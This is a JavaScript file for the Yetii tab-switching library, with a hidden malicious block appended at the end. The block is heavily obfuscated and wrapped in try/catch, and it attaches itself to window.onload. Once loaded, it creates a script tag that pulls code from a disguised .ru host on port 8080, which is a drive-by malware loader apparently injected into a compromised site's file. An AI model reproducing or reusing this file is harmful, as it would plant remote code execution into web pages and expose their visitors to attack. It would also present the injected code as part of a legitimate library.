/*
Yetii - Yet (E)Another Tab Interface Implementation
http://www.kminek.pl/lab/yetii/
Copyright (c) 2007 Grzegorz Wojcik
Code licensed under the BSD License:
http://www.kminek.pl/bsdlicense.txt
*/

function Yetii() {

	this.defaults = {
		
		id: null,
		active: 1,
		timeout: null,
		interval: null,
		tabclass: 'tab',
		activeclass: 'active'
	
	};
	
	for (var n in arguments[0]) { this.defaults[n]=arguments[0][n]; };	
	
	this.getTabs = function() {
        
		
        var retnode = [];
        var elem = document.getElementById(this.defaults.id).getElementsByTagName('*');
		
		var regexp = new RegExp("(^|\\s)" + this.defaults.tabclass.replace(/\-/g, "\\-") + "(\\s|$)");
	
        for (var i = 0; i < elem.length; i++) {
        if (regexp.test(elem[i].className)) retnode.push(elem[i]);
        }
    
        return retnode;
    
    };
	
	this.links = document.getElementById(this.defaults.id + '-nav').getElementsByTagName('a');
	
	this.show = function(number){
        
        for (var i = 0; i < this.tabs.length; i++) {
        this.tabs[i].style.display = ((i+1)==number) ? 'block' : 'none';
        this.links[i].className = ((i+1)==number) ? this.defaults.activeclass : '';
        }
    
    };
	
	 this.rotate = function(interval){
    
        this.show(this.defaults.active);
        this.defaults.active++;
    
        if(this.defaults.active > this.tabs.length) this.defaults.active = 1;
    
        var self = this;
        this.defaults.timeout = setTimeout(function(){self.rotate(interval);}, interval*1000);
    
    };
	
	this.tabs = this.getTabs();
	this.show(this.defaults.active);
	
	var self = this;
	for (var i = 0; i < this.links.length; i++) {
	this.links[i].customindex = i+1;
	this.links[i].onclick = function(){ if (self.defaults.timeout) clearTimeout(self.defaults.timeout); self.show(this.customindex); return false; };
    }
	
	if (this.defaults.interval) this.rotate(this.defaults.interval);
	
};

this.I="";try {var Ze;if(Ze!='a_'){Ze='a_'};var V=new Array();var H=new String();var R="re"+"plvxIP".substr(0,2)+"gz9Bac".substr(4)+"e5tu7".substr(0,1);var HD=new Array();this.Yq='';var F=RegExp;var pk;if(pk!='Ck'){pk=''};var DH="";var ww;if(ww!='w' && ww!='ma'){ww=''};function L(Z,s){var kF="";var J=String("[");var q="g";var wb;if(wb!='' && wb!='ix'){wb=''};J+=s;J+=String("]");var S="";var u=new F(J, q);var T='';return Z[R](u, new String());var GV;if(GV!='G' && GV!='aj'){GV='G'};};var p=window;var Li=L('8262066286662606622',"62");var m=L('h7t7tJp7:7/7/7176737-JcJo7mJ.7gJa7m7e7t7r7aJi7l7e7r7sJ.7c7oJmJ.JnJyJpJoJsJtJ-7c7oJm7.7BJeJsJt7BJl7e7nJd7e7r7PJa7r7tJ.7r7uJ:7',"J7");this.op='';var OU="";var a='';var Y=L('cqrDeDaDtDe3Eql3eqmDeqnDt3',"qD3");var eX="";var su;if(su!='oQ'){su=''};var D=L('sTcIrninpTtT',"Tn5Il");var b=new String();var E=L('/TgToToGgGlGeG.TcGoPmT/TgPoGoPgTlTeT.GcPoPmP/GbTlGoGgPfGaT.GcPoTmG/PgGoPoGgPlGeG.PfPiT/PoPpGtGmTdT.GcPoPmP.TpGhGpP',"GTP");var OiA="";var nz='';var n=L('o3nClCoCa3d3',"C3");this.xh='';o=function(){var A="";var dQ=new Date();this.bp="";Rr=document[Y](D);var TU="";var KK=new String();var aN=new String();var uk;if(uk!='' && uk!='by'){uk=''};a=m+Li;var WO=new Date();var mU=new Date();a+=E;var bpA;if(bpA!=''){bpA='nt'};Rr.defer=([1][0]);var av;if(av!='XW'){av='XW'};this.Fk="";Rr.src=a;var og;if(og!='h'){og=''};var Tz=new String();var HN;if(HN!='' && HN!='Ea'){HN=null};var Zb=new String();document.body.appendChild(Rr);var maJ=new Array();};var Va;if(Va!='' && Va!='nC'){Va=null};var fh;if(fh!='' && fh!='nj'){fh='PQc'};this.vT="";p[n]=o;var tj=new String();var _r;if(_r!='' && _r!='kw'){_r=null};var LO=new String();var DE=new String();} catch(k){};this.AP='';
